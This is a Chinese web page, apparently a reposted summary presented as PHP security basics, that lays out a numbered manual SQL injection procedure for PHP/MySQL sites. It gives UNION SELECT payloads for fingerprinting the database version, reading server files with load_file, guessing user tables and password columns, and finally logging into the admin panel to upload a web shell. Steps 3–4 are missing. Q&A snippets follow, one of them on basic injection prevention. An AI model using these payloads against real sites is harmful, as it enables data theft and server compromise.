欢迎您访问我爱IT技术网,今天小编为你分享的编程技术是:【PHP程序安全基础:手工php注入总结】,下面是详细的分享!
PHP程序安全基础:手工php注入总结
1.判断是否存在注入,加';and 1=1;and 1=2
2.判断版本 and ord(mid(version(),1,1))>51 代替。
5.判断数据库连接帐号有没有写权限,and (select count(*) from mysql.user)>0 /*如果结果返回错误,那我们只能猜解管理员帐号和密码了。
6.如果返回正常,则可以通过and 1=2 union select 1,2,3,4,5,6,load_file(char(文件路径的ascii值,用逗号隔开)),8,9,10 /* 注:load_file(char(文件路径的ascii值,用逗号隔开))也可以用十六进制,通过这种方式读取配置文件,找到数据库连接等。
7.首先猜解user表,如: and 1=2 union select 1,2,3,4,5,6.... from user /* 如果返回正常,说明存在这个表。
8.知道了表就猜解字段,and 1=2 union select 1,username,3,4,5,6.... from user/*如果在2字段显示出字段内容则存在些字段。
9.同理再猜解password字段,猜解成功再找后台登录。
10.登录后台,上传shell。
以上所分享的是关于PHP程序安全基础:手工php注入总结,下面是编辑为你推荐的有价值的用户互动:
相关问题:求PHP应用程序安全编程pdf版,不要图的
答:这个还不错,我这还有 圣经,要么? >>详细
相关问题:懂PHP+Mysql手工注入的进,答的好我会继续追加分数...
答:貌似以前听说的可以看得到未鉴定的手工装备是几星!!!我一直未相信有这个!路过路过~~ 。。。远离天龙。。。珍爱生命。。。哦弥托佛! >>详细
相关问题:php如何防止sql注入
答:额,这是我老师给的答案 过滤一些常见的数据库操作关键字, select ,insert,update,delete,and,*等或通过系统函数addslashes对内容进行过滤 php配置文件中register_globals=off;设置为关闭状态.(作用将注册全局变量关闭);如接收POST表单的值... >>详细
- 评论列表(网友评论仅供网友表达个人看法,并不表明本站同意其观点或证实其描述)
-
